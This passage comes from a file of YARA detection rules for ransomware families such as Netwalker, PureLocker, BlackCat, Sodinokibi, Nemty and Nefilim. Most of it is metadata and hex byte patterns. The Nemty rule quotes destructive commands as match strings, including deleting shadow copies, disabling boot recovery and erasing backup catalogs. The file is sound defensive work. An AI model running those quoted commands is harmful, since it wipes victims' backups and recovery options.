FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF?????????? }
	condition:
		uint16( 0 ) == 0x5a4d and any of ( $pattern* )
}


rule TRELLIX_ARC_Netwalker : RANSOMWARE FILE
{
	meta:
		description = "Rule based on code overlap in RagnarLocker ransomware"
		author = "McAfee ATR team"
		id = "80097a40-534a-5e1b-8fde-e4d832d76698"
		date = "2020-06-14"
		modified = "2020-11-20"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L49-L75"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "8c56ebed9e097d294045de46942c708da9ba7e01475dcecb0c3d41fcc8004780"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		actor_group = "Unknown"
	strings:
		$0 = {C88BF28B4330F76F3803C88B434813F2F76F2003C88B433813F2F76F3003C88B434013F2F76F2803C88B432813F2F76F4003C8894D6813F289756C8B4338F76F388BC88BF28B4328F76F4803C88B434813F2F76F2803C88B433013F2F76F400FA4CE}
		$1 = {89542414895424108BEA8BDA8BFA423C22747C3C5C75588A023C5C744F3C2F744B3C2274473C6275078D5702B008EB3F3C6675078D5302B00CEB343C6E75078D5502B00AEB293C72750B8B542410B00D83C202EB1A3C74750B8B542414B00983C2}
		$2 = {C8894D7013F28975748B4338F76F408BC88BF28B4340F76F3803C88B433013F2F76F4803C88B434813F2F76F3003C8894D7813F289757C8B4348F76F388BC88BF28B4338F76F4803C88B434013F2F76F400FA4CE}
		$3 = {C07439473C2F75E380FB2A74DEEB2D8D4ABF8D422080F9190FB6D80FB6C28AD60F47D88AC6042080EA410FB6C880FA190FB6C60F47C83ACB754B46478A1684D2}
		$4 = {8B433013F2F76F0803C88B432013F2F76F1803C88B0313F2F76F3803C88B430813F2F76F3003C88B433813F2F72F03C8894D3813F289753C8B4338F76F088BC8}
		$5 = {F73101320E32213234329832E3320C332D334733643383339133A833BD33053463347C34543564358335AE36C3362937E9379A39BA390A3A203A443A183B2B3B}
		$6 = {8B431813F2F76F4803C88B432813F2F76F3803C88B434013F2F76F200FA4CE0103C903C88B432013F2F76F4003C88B433013F2F76F3003C8894D6013F2897564}
	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them
}

rule TRELLIX_ARC_Purelocker_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect PureLocker ransomware based on binary sequences"
		author = "Marc Rivero | McAfee ATR Team"
		id = "3d945869-9faa-59de-add6-d664a7beef6f"
		date = "2019-11-13"
		modified = "2020-08-14"
		reference = "https://www.pandasecurity.com/mediacenter/security/purelocker-ransomware-servers/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_PureLocker.yar#L1-L25"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "9f39f0ef922023a79919f5b41a7acda6c08373af8f5fd2d4c4dcaca6146970ea"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/PureLocker"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$sequence = { 31??FF????E8????????83????5BC2????555357BA????????83????C7????????????4A75??E8????????8B????????????8D????E8????????8B????????????8D??????E8????????FF????8D??????????59E8????????75??FF??????8D??????????59E8????????75??EB??B8????????EB??31??21??74??31??0FBE??E9????????8D??????C7????????????C7????????????66??????????FF??????E8????????89??????52E8????????5A5052E8????????5A50FF??????E8????????8D????????????50E8????????8B??????01??89??????8B??????83????53E8????????89??????8B??????21??75??31??0FBE??E9????????68????????68????????FF????????????FF??????E8????????FF????E8????????89??01??89????????????8B????????????83????53E8????????89????????????8B????????????21??75??FF??????E8????????31??0FBE??E9????????68????????68????????FF??????FF????????????E8????????0FBE??????????83????0F85????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????FF??????E8????????68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF????????????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????FF????E8????????8D??????FF????E8????????FF????????????E8????????FF????????????E8????????B8????????0FBE??E9????????EB??68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF??????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????508D??????FF????E8????????89????????????FF??????E8????????C7??????????????FF????????????E8????????C7????????????????????C7????????????????????8B????????????21??74??E9????????0FBE????????????83????75??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????EB??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????8B??????21??74??E9????????0FBE????????????83????75??8D????????????8D????FF????FF??8F??????8F??????EB??8D????????????8B????9952508F??????8F??????FF??????FF??????5B5F83????7F??7C??83????77??31??EB??B8????????09??75??E9????????0FBE????????????83????75??68????????E8????????89????????????8B????????????21??75??E9????????68????????68????????68????????FF????????????FF????????????FF????????????8D??????FF????E8????????89????????????EB??68????????E8????????89??????8B??????21??75??E9????????68????????68????????FF??????8B????????????508D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????FF????FF??5B5F83????75??83????74??31??EB??B8????????09??74??E9????????EB??8B??????21??75??E9????????8B??????8B????21??75??E9????????0FBE????????????83????75??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????68????????FF????????????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????FF????????????FF????????????8B????????????FF????8D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??7E??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??8B??????21??7E??68????????68????????FF??????E8????????FF??????E8????????C7??????????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????EB??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????0FBE????????????83????75??68????????68????????FF??????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??68????????FF??????FF????????????8B????????????FF????8D??????FF????E8????????89????????????FF????????????E8????????C7????????????????????0FBE????????????83????75??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????8B????????????21??74??EB??68????????8D??????FF????E8????????89????????????8B????????????21??74??EB??0FBE????????????83????75??68????????31??508D??????FF????E8????????C6????????8D??????FF????E8????????8D??????FF????E8????????0FBE??????0FBE??E9????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B??????21??7E??FF??????E8????????8B????????????21??7E??FF????????????E8????????8D??????8B????21??7E??68????????8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????31??0FBE??EB??31??FF????E8????????FF????????????E8????????FF??????E8????????81??????????5F5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????83????????????0F84????????FF????E8????????89??01??89??????8B??????83????53E8????????89??????83????????74??68????????68????????FF??????FF??????E8????????89??3B??????75??8B??????83????538D??????5866??????FF??????5866??????FF??????5889????FF??????????5889??????8D??????508D??????5068????????68????????FF??????89??21??75??FF??????5889??????FF??????E8????????8B??????EB??31??FF????E8????????83????5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??5050E8????????FF??????E8????????52E8????????5A50FF??????????8D??????????50E8????????8D??????50E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????8D??????50E8????????FF????8D??????????59E8????????74??52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????588B??????52E8????????8D??????50E8????????EB??8B????52E8????????5A5052E8????????8B??????52E8????????8D??????50E8????????8B????52E8????????5A5052E8????????5850E8????????5A01??EB??E8????????66????????FF????E8????????FF??????E8????????83????C331??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????555331??50505050E8????????C7??????????????FF??????E8????????89????8B????21??75??31??EB??8D??????50FF??????FF??????68????????E8????????89??21??75??8B????FF????5889??????68????????68????????FF??????E8????????FF????E8????????8B??????EB??31??83????5B5DC35331??50505050E8????????8B??????8D????E8????????FF????E8????????89??????8B??????83????53E8????????89??????83????????74??68????????FF??????FF??????FF??????E8????????21??74??FF??????FF??????68????????E8????????89??F7??89??????FF??????E8????????8B??????EB??31??FF????E8????????83????5BC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????FF????8D??????????59E8????????74??31??E9????????52E8????????5A50FF??????????8D??????????50E8????????8B??????52E8????????8D??????50E8????????FF??????E8????????89??01??89??????8B??????83????53E8????????89??????83????????0F84????????68????????68????????FF??????FF??????E8????????89??3B??????0F85????????FF??????8D??????5866??????8B??????83????535866??????FF??????5889????C7??????????????8D??????????8D??????E8????????8D??????C7????????????C7????????????8D??????505889????68????????68????????8D??????508D??????5068????????8D??????50E8????????89??21??75??8B??????21??7E??B8????????EB??31??21??74??FF??????E8????????C7??????????????68????????68????????8D??????508D??????50FF??????E8????????89??21??75??8D??????FF????5889??????FF??????E8????????8B??????21??7E??FF??????E8????????8B??????EB??31??FF??????E8????????FF????E8????????83????5B5DC2????555357BA????????83????C7???????????? }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule TRELLIX_ARC_Ransom_Win_Blackcat : RANSOMWARE FILE
{
	meta:
		description = "Detecting variants of Windows BlackCat malware"
		author = " Trellix ATR"
		id = "65483ffb-6b10-5fd5-8a5f-fc885a5f2e98"
		date = "2022-01-06"
		modified = "2022-01-19"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Win_BlackCat_public.yar#L2-L24"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "8faad28ab26690221f6e2130c886446615dbd505f76490cfaf999d130d0de6e3"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		malware_type = "Ransomware"
		detection_name = "Ransom_Win_BlackCat"
		actor_group = "Unknown"
	strings:
		$URL1 = "zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion" ascii wide
		$URL2 = "mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion" ascii wide
		$API = { 3a 7c d8 3f }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3500KB and 1 of ( $URL* ) and $API
}



rule TRELLIX_ARC_Sodinokobi : RANSOMWARE
{
	meta:
		description = "This rule detect Sodinokobi Ransomware in memory in old samples and perhaps future."
		author = "McAfee ATR team"
		id = "dd05ce31-9699-50a9-944c-5883340791af"
		date = "2026-03-01"
		modified = "2025-03-18"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Sodinokibi.yar#L32-L53"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "f25039ac743223756461bbeeb349c674473608f9959bf3c79ce4a7587fde3ab2"
		score = 75
		quality = 70
		tags = "RANSOMWARE"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Sodinokibi"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
		version = "1.0"
	strings:
		$a = { 40 0F B6 C8 89 4D FC 8A 94 0D FC FE FF FF 0F B6 C2 03 C6 0F B6 F0 8A 84 35 FC FE FF FF 88 84 0D FC FE FF FF 88 94 35 FC FE FF FF 0F B6 8C 0D FC FE FF FF }
		$b = { 0F B6 C2 03 C8 8B 45 14 0F B6 C9 8A 8C 0D FC FE FF FF 32 0C 07 88 08 40 89 45 14 8B 45 FC 83 EB 01 75 AA }
	condition:
		all of them
}


rule TRELLIX_ARC_Nemty_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Nemty Ransomware"
		author = "Marc Rivero | McAfee ATR Team"
		id = "e9b133d6-fd77-5201-995d-c42bae7cde46"
		date = "2020-02-23"
		modified = "2020-08-14"
		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Nemty.yar#L1-L45"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "73bf76533eb0bcc4afb5c72dcb8e7306471ae971212d05d0ff272f171b94b2d4"
		logic_hash = "d055286670516318c14dcf4e5873b96eede5e1dfb3ee978553fc11f1ac6b3252"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Nemty"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$x1 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default}" fullword ascii
		$s2 = "https://pbs.twimg.com/media/Dn4vwaRW0AY-tUu.jpg:large :D" fullword ascii
		$s3 = "MSDOS.SYS" fullword wide
		$s4 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} " ascii
		$s5 = "recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete" fullword ascii
		$s6 = "DECRYPT.txt" fullword ascii
		$s7 = "pv3mi+NQplLqkkJpTNmji/M6mL4NGe5IHsRFJirV6HSyx8mC8goskf5lXH2d57vh52iqhhEc5maLcSrIKbukcnmUwym+In1OnvHp070=" fullword ascii
		$s8 = "\\NEMTY-DECRYPT.txt\"" fullword ascii
		$s9 = "rfyPvccxgVaLvW9OOY2J090Mq987N9lif/RoIDP89luS9Ouv9gUImpgCTVGWvJzrqiS8hQ5El02LdEvKcJ+7dn3DxiXSNG1PwLrY59KzGs/gUvXnYcmT6t34qfZmr8g8" ascii
		$s10 = "IO.SYS" fullword wide
		$s11 = "QgzjKXcD1Jh/cOLBh1OMb+rWxUbToys2ArG9laNWAWk0rNIv2dnIDpc+mSbp91E8qVN8Mv8K5jC3EBr4TB8jh5Ns/onBhPZ9rLXR7wIkaXGeTZi/4/XOtO3DFiad4+vf" ascii
		$s12 = "NEMTY-DECRYPT.txt" fullword wide
		$s13 = "pvXmjPQRoUmjj0g9QZ24wvEqyvcJVvFWXc0LL2XL5DWmz8me5wElh/48FHKcpbnq8C2kwQ==" fullword ascii
		$s14 = "a/QRAGlNLvqNuONkUWCQTNfoW45DFkZVjUPn0t3tJQnHWPhJR2HWttXqYpQQIMpn" fullword ascii
		$s15 = "KeoJrLFoTgXaTKTIr+v/ObwtC5BKtMitXq8aaDT8apz98QQvQgMbncLSJWJG+bHvaMhG" fullword ascii
		$s16 = "pu/hj6YerUnqlUM9A8i+i/UhnvsIE+9XTYs=" fullword ascii
		$s17 = "grQkLxaGvL0IBGGCRlJ8Q4qQP/midozZSBhFGEDpNElwvWXhba6kTH1LoX8VYNOCZTDzLe82kUD1TSAoZ/fz+8QN7pLqol5+f9QnCLB9QKOi0OmpIS1DLlngr9YH99vt" ascii
		$s18 = "BOOTSECT.BAK" fullword wide
		$s19 = "bbVU/9TycwPO+5MgkokSHkAbUSRTwcbYy5tmDXAU1lcF7d36BTpfvzaV5/VI6ARRt2ypsxHGlnOJQUTH6Ya//Eu0jPi/6s2MmOk67csw/msiaaxuHXDostsSCC+kolVX" ascii
		$s20 = "puh4wXjVYWJzFN6aIgnClL4W/1/5Eg6bm5uEv6Dru0pfOvhmbF1SY3zav4RQVQTYMfZxAsaBYfJ+Gx+6gDEmKggypl1VcVXWRbxAuDIXaByh9aP4B2QvhLnJxZLe+AG5" ascii
	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) and 4 of them ) )
}

rule TRELLIX_ARC_Nemty_Ransomware_2_6 : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Nemty Ransomware version 2.6"
		author = "Marc Rivero | McAfee ATR Team"
		id = "335dff33-d078-58ba-b68b-a949895b710f"
		date = "2020-04-06"
		modified = "2020-08-14"
		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Nemty.yar#L47-L80"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "52b7d20d358d1774a360bb3897a889e14d416c3b2dff26156a506ff199c3388d"
		logic_hash = "dacf709838ef2ef65d25bdbbd92007ab46a95953031d7bee75eac046f670171a"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Nemty"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$pattern = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????A1????????33??89????8B????578D??????????89??????????E8????????33??6A??5839????76??5683????75??508D????5350E8????????8D??????????508D????E8????????83????6A??5880??????75??C6??????4879??EB??FE????33??8A??????8B??????????30????47403B????72??5E8B????33??5FE8????????C9C3558B??51515333??5633??32??89????39????0F86????????578B????8B????8A????8B??83????74??4F74??4F75??21????0FB6??0FB6??83????8B??C1????C1????0B??8A??????????83????88????8A??????????8B????88??????83????EB??0FB6??0FB6??83????6A??C1????C1????5E0B??EB??33??0FB6??46C1????8A??????????88????40FF????8A??8B????3B????72??5F4E74??4E75??0FB6??83????8A????????????88????C6????????83????EB??0FB6??83????C1????8A??????????88????66????????????83????5EC6??????5BC9C3558B??33??F6??????75??5733??39????76??8B????8A????80????74??80????7C??80????7F??0FB6??8A??????????80????74??8B??83????83????74??4A74??4A74??4A75??08????40EB??8A??C0????80????08????40C0????EB??8A??C0????80????08????40C0????EB??C0????88????473B????72??EB??33??5F5DC3558B??518B??85??74??8B????568B??89????3B??74??576A??33??E8????????83????3B????75??5FFF??E8????????595E33??89??89????89????C9C3558B??80??????74??83??????72??538B??85??74??575356E8????????83????53E8????????595BC7????????????89????C6??????5DC2????C7??????????E9????????558B??568B??C7??????????E8????????F6??????74??56E8????????598B??5E5DC2????558B??83????81??????????A1????????33??89????????????5356578D????508D??????E8????????68????????8D????????????E8????????6A??5F33??83????66????????8D????8B??33??5089??????89??????E8????????E8????????33??66????????8B????????????03??????83????8D??????89??????89??????E8????????538D??????5083????8D??????E8????????538D????????????5083????E8????????8B??8D??????E8????????6A??33??E8????????83????????8B??????73??8D??????8D????????????5150FF??????????89??????83????0F84????????8B??????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????F6??????????????8D????????????508D??????8D??????74??E8????????598D??????51E8????????8B??598D??????E8????????6A??33??8D??????E8????????6A??8D??????E8????????83????8D??????8B??50E8????????E8????????83????E9????????E8????????8B??598D??????E8????????6A??33??8D??????E8????????8D????????????50FF??????????508D??????E8????????8B??????6A??5F39??????73??8D??????8B??????????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??74??8B??????39??????73??8D??????68????????50FF??85??74??83????8B??68????????E8????????83????8D????????????8B??51E8????????E8????????83????85??75??8B??????39??????73??8D??????83????8B??51E8????????E8????????83????6A??33??8D??????E8????????8D????????????50FF??????FF??????????85??0F85????????FF??????FF??????????33??435333??8D?????? }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1500KB and $pattern
}

rule TRELLIX_ARC_Nefilim_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Nefilim ransomware"
		author = "Marc Rivero | McAfee ATR Team"
		id = "55d9cb20-5071-5dce-a46f-a20816ba379f"
		date = "2020-03-17"
		modified = "2020-04-03"
		reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_NEFILIM.yar#L3-L48"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "5ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c6"
		logic_hash = "d8cd5d2dd552d3e9f57f7bd244e941fe89a96ab16bbcc71911e8e2a519f53f03"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Nefilim"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$s1 = "C:\\Users\\Administrator\\Desktop\\New folder\\Release\\NEFILIM.pdb" fullword ascii
		$s2 = "oh how i did it??? bypass sofos hah" fullword ascii
		$s3 = " /c timeout /t 3 /nobreak && del \"" fullword wide
		$s4 = "NEFILIM-DECRYPT.txt" fullword wide
		$op0 = { db ff ff ff 55 8b ec 83 ec 24 53 56 57 89 55 f4 }
		$op1 = { 60 be 00 d0 40 00 8d be 00 40 ff ff 57 eb 0b 90 }
		$op2 = { 84 e0 40 00 90 d1 40 00 08 }
		$bp = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????53568D??????????E8????????33??6A??5939????76??5783????75??8B????8D????A5A5A58D??????????A5508D????E8????????596A??588B????8D????80????75??48C6????79??EB??FE????33??8A??????8B????30????43413B????72??5F8B????8B????6A??2B??5E8A????88??404E75??5E5BC9C3558B??81??????????53FF????8D??????????50FF??????????68????????8D??????????50FF??????????33??53536A??535368????????8D??????????50FF??????????89????3B??0F84????????56578D????5053BE????????5689????FF??????????5056E8????????83????85??75??53FF??????????FF????8B??????????53FF??50FF??????????8D????51505689????FF??????????5056E8????????83????85??74??8B????89????8D????50FF????E8????????59595385??74??8D????50FF????FF????FF????FF??????????FF????53FF??50FF??????????5F5E5BC9C3558B??83????81??????????535657FF????8D????????????50FF??????????8B??????????68????????8D????????????50FF??8D??????508D????????????50FF??????????89??????83????0F84????????8B??????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????F6????????FF????8D????????????5074??FF??????????8D??????508D????????????50FF??68????????8D????????????50FF?